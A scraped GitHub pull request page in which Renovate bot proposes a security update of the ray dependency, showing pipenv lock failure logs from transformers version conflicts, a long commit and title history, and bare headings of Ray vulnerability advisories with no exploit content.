Additionally, some packages in these conflicts have no matching distributions 
available for your environment:
    transformers
To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip to attempt to solve the dependency 
conflict
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
Hint: try $ pipenv lock --verbose to see the full dependency resolution output.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts
The conflict is caused by:
    The user requested transformers~=4.40.2
    outlines 0.0.34 depends on transformers
    vllm 0.6.6 depends on transformers>=4.45.2

Hint: Re-run with --verbose to see the full dependency resolution output and 
identify which packages are in conflict.
Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 94, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1467, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1240, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

File name: model-servers/vllm/0.8.4/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-0315n393-requirements/pipenv-_0i4fw_t-constraints.txt 
(line 19) and transformers~=4.40.2 because these package versions have 
conflicting dependencies.
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:
The conflict is caused by:
    The user requested transformers~=4.40.2
    vllm 0.8.4 depends on transformers>=4.51.1
Additionally, some packages in these conflicts have no matching distributions 
available for your environment:
    transformers
To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip to attempt to solve the dependency 
conflict
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
Hint: try $ pipenv lock --verbose to see the full dependency resolution output.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts
The conflict is caused by:
    The user requested transformers~=4.40.2
    vllm 0.8.4 depends on transformers>=4.51.1

Hint: Re-run with --verbose to see the full dependency resolution output and 
identify which packages are in conflict.
Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 94, in do_lock
    venv_resolve_deps(
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1467, in venv_resolve_deps
    c = resolve(cmd, st, project=project)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File 
"/opt/containerbase/tools/pipenv/2026.6.2/3.11.15/lib/python3.11/site-packages/p
ipenv/utils/resolver.py", line 1240, in resolve
    raise ResolutionFailure("Failed to lock Pipfile.lock!")
pipenv.exceptions.ResolutionFailure: ERROR: Failed to lock Pipfile.lock!

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate Bot added the renovatebot label Oct 11, 2025

renovate Bot requested a review from a team as a code owner October 11, 2025 02:11

renovate Bot added the renovatebot label Oct 11, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 531ac73 to eb91da0 Compare October 14, 2025 23:19

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from eb91da0 to aeef1f8 Compare November 28, 2025 20:05

renovate Bot changed the title ~~Update dependency ray to v2.50.0 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Nov 28, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from aeef1f8 to 1d53237 Compare December 5, 2025 16:15

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 5, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 1d53237 to 36cee51 Compare December 6, 2025 10:44

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Dec 6, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 36cee51 to 10b2330 Compare December 8, 2025 19:48

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 8, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 10b2330 to 908b311 Compare December 11, 2025 23:34

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Dec 11, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 908b311 to 35d72fc Compare December 13, 2025 04:16

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 13, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 35d72fc to 8da4b47 Compare December 18, 2025 07:58

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Dec 18, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 8da4b47 to 345ddf0 Compare December 21, 2025 03:09

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 21, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 345ddf0 to 3554772 Compare December 23, 2025 00:01

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Dec 23, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 3554772 to 260d59c Compare December 23, 2025 20:00

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 23, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 260d59c to 89dadf5 Compare December 25, 2025 06:39

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Dec 25, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 89dadf5 to 5f45548 Compare December 28, 2025 07:04

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Dec 28, 2025

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 5f45548 to 1bb47d4 Compare December 29, 2025 16:02

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Jan 10, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 834bc21 to 02080c1 Compare January 11, 2026 11:07

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Jan 12, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 02080c1 to 03021df Compare January 12, 2026 08:38

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Jan 12, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 03021df to 2da8f44 Compare January 13, 2026 19:45

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Jan 13, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 2da8f44 to a57a807 Compare January 20, 2026 03:08

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Jan 20, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from a57a807 to 52d1c40 Compare January 21, 2026 18:37

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Jan 21, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 52d1c40 to 7ea00d5 Compare January 22, 2026 17:46

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Jan 22, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 7ea00d5 to e4de403 Compare January 26, 2026 08:02

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Jan 26, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch 3 times, most recently from 89fd7c9 to 65a752d Compare February 2, 2026 03:43

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Feb 2, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 65a752d to 326eb5d Compare February 4, 2026 06:03

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Feb 4, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 326eb5d to 7a08416 Compare February 4, 2026 20:32

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Feb 4, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 7a08416 to 2da472c Compare February 6, 2026 00:18

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Feb 6, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 2da472c to 6147f36 Compare February 6, 2026 10:10

renovate Bot changed the title ~~Update dependency ray to v2.52.0 [SECURITY]~~ Update dependency ray to v2.52.1 [SECURITY] Feb 6, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 6147f36 to 7c1ad3f Compare February 8, 2026 04:00

renovate Bot changed the title ~~Update dependency ray to v2.52.1 [SECURITY]~~ Update dependency ray to v2.52.0 [SECURITY] Feb 8, 2026

Update dependency ray to v2.56.0 [SECURITY]

bb907f8

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Update dependency ray to v2.56.0 [SECURITY]#57

Update dependency ray to v2.56.0 [SECURITY]#57
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-ray-vulnerability

renovate Bot commented Oct 11, 2025 •

edited

Loading

Uh oh!

renovate Bot commented Oct 11, 2025 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate Bot commented Oct 11, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

ray vulnerable to Insertion of Sensitive Information into Log File

Details

Severity

References

ray vulnerable to Insertion of Sensitive Information into Log File

Details

Severity

References

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m / PYSEC-2025-23

Details

Severity

References

Ray has arbitrary code execution via jobs submission API

Details

Severity

References

Ray has arbitrary code execution via jobs submission API

Details

Severity

References

Ray's New Token Authentication is Disabled By Default

Details

Severity

References

Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

Details

Summary

Details

Current Mitigation Strategies

PoC

What's going on?

Impact

Fix

Credit

Severity

References

Ray's New Token Authentication is Disabled By Default

Details

Severity

References

Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

Details

Summary

Details

Current Mitigation Strategies

PoC

What's going on?

Impact

Fix

Credit

Severity

References

Ray dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)

Details

Summary

Details

PoC

Impact

Fix

Severity

References

CVE-2026-27482 / GHSA-q5fh-2hc8-f6rq / PYSEC-2026-2271

Details

Severity

References

CVE-2026-41486 / GHSA-mw35-8rx3-xf9r / PYSEC-2026-2272 / PYSEC-2026-2296

Details

Severity

References

CVE-2026-57516 / GHSA-hhrp-gw25-jr43 / PYSEC-2026-2273

Details

Severity

References

Release Notes

v2.56.0

Highlights

renovate Bot commented Oct 11, 2025 •

edited

Loading

`v2.56.0`

renovate Bot commented Oct 11, 2025 •

edited

Loading